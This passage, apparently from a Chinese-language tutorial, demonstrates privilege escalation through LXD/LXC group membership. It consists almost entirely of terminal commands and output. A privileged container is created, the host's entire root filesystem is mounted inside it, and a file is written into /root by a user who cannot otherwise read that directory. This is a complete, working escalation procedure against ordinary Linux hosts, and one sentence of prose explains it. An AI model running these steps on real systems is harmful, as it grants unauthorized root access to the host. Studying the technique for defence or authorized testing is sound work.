ubuntu@ubuntu:~$ lxc init ubuntu:16.04 test -c security.privileged=true Creating test ubuntu@ubuntu:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true Device whatever added to test ubuntu@ubuntu:~$ lxc start test ubuntu@ubuntu:~$ lxc exectest bash
在这里,我们创建了一个lxc容器,为其分配了安全性特权,并将整个磁盘安装在/mnt/root下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
ubuntu@ubuntu:~$ lxc exectest bash root@test:~# cd /mnt/root root@test:/mnt/root# ls bin cdrom etc initrd.img lib64 media opt root sbin srv tmp var boot dev home lib lost+found mnt proc run snap sys usr vmlinuz root@test:/mnt/root# cd root root@test:/mnt/root/root# ls root@test:/mnt/root/root# touch ICanDoWhatever root@test:/mnt/root/root# exit exit ubuntu@ubuntu:~$ cat /root/ICanDoWhatever cat: /root/ICanDoWhatever: Permission denied ubuntu@ubuntu:~$ sudo su root@ubuntu:/home/ubuntu# cat /root/ICanDoWhatever root@ubuntu:/home/ubuntu# ls /root ICanDoWhatever root@ubuntu:/home/ubuntu#